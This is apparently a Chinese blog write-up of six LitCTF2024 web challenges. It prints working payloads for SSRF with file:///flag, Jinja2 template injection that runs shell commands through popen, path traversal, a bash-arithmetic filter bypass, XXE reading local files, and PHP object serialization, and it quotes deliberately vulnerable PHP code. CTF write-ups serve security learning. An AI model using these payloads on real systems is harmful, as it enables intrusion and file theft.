LitCTF2024 (NSS)
1.浏览器也能套娃?

一进去是让输入URL,反复输入题目的URL就是多层套娃
尝试输入其他网站

发现百度是可以的,那么这种通过url地址分享网页内容功能处,应该是SSRF
则有SSRF利用:
url?url=http://内网的资源url
本题可以使用file伪协议(即尝试从文件系统中获取文件)
url=file:///flag

2.一个…池子?
__class__ :返回类型所属的对象
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ :返回该对象所继承的父类
__subclasses__(): 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用

看了下是Flask和Nginx,Flask是目前python主流的一个web微框架,通过Flask框架我们可以利用python语言搭建起web服务
Flask默认使用的引擎为jinjia2
而在JINJIA2引擎中:
{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值
又根据提示是SSTI,就随便塞了一段进去:{{''.__class__.__bases__[0].__subclasses__()}}

然后ctrl + F搜索os._wrap_close,根据定位到137
{{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__}}
看看有没有popen函数
发现有,则payload:
{{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']("cat /flag").read()}}

3.高亮主题(划掉)背景查看器
源码如下:
<?php
// 文件包含漏洞演示
if (isset($_GET['url'])) {
// 读取并包含用户输入的文件
$file = $_GET['url'];
if (strpos($file, '..') === false) {
include $file;
} else {
echo "Access denied.";
}
} else {
echo "No file specified.";
}
?>
但是按照代码上传却什么也没显示

回到原页面,发现切换主题会有变动,于是尝试抓包切换页面的过程

发现有个POST传参
将theme2.php改为/flag.php发现报错
就改成了…/…/…/…/flag
就行了()

4.百万美元的诱惑
<?php
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
if ($a !== $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c > 2024) {
echo "好康的";
} else {
die("干巴爹干巴爹先辈~");
}
}
else {
die("开胃小菜))");
}
源码让我们传个a,b,c

<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
$x = $_GET['x'];
if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
system("cat ".$x.".php");
}
}else{
highlight_file(__FILE__);
}
?>
dollar.php告诉我们flag在12.php里,但是过滤了数字,那么…
构造一个12 √
/dollar.php?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
可得
5.exx

先简单输入了一下,发现并没有什么回显,于是抓包了一下

再查看源码:
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
看到了DOMDocument::loadXML字样,再看题目,推测是XXE【XML(可拓展标记语言)外部实体注入】
而
XXE注入的最明显特征包括:
- 数据泄露:允许攻击者读取服务器上的敏感文件。
- 服务器端请求伪造(SSRF):使攻击者能够发起服务器端的请求,访问内网服务。
- 拒绝服务(DoS):通过外部实体消耗服务器资源,导致服务不可用。
于是payload:(ENTITY实体,通过 & 符号引用,后面有分号)
<!DOCTYPE ANY [
<!ENTITY XXE SYSTEM "file:///flag">
]>
<user>
<username>
&XXE;
</username>
<password>
123
</password>
</user>

补充1:(SYSTEM)
- 引用外部文件:
SYSTEM允许 XML 解析器加载并解析外部资源。例如,可以引用一个本地文件(如上例中的file:///path/to/local/file)或网络资源(如http://example.com/remote.dtd)。
- 数据注入:
- 在安全漏洞中(如 XXE 攻击),攻击者可以利用
SYSTEM引用本地敏感文件(如/etc/passwd或/flag),从而泄露服务器上的数据。
- 在安全漏洞中(如 XXE 攻击),攻击者可以利用
补充2:(ANY)
- 任意文档类型:
ANY表示文档类型没有特定的限制,可以是任意的文档类型。它通常用于测试或开发环境中,允许 XML 解析器忽略文档类型定义(DTD)的严格限制。
- 引入外部实体:
- 在示例中,
<!DOCTYPE ANY>被用来引入外部实体(如<!ENTITY XXE SYSTEM "file:///flag">)。这允许在 XML 文档中引用外部资源。
- 在示例中,
6.SAS - Serializing Authentication
<?php
class User {
public $username;
public $password;
function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }
}
?>
一道简单的反序列化题目()
payload:
<?php
class User {
public $username;
public $password;
}
$a = new User;
$a -> username = 'admin';
$a -> password = 'secure_password';
echo base64_encode(serialize($a));
?>

可得flag
1241

被折叠的 条评论
为什么被折叠?



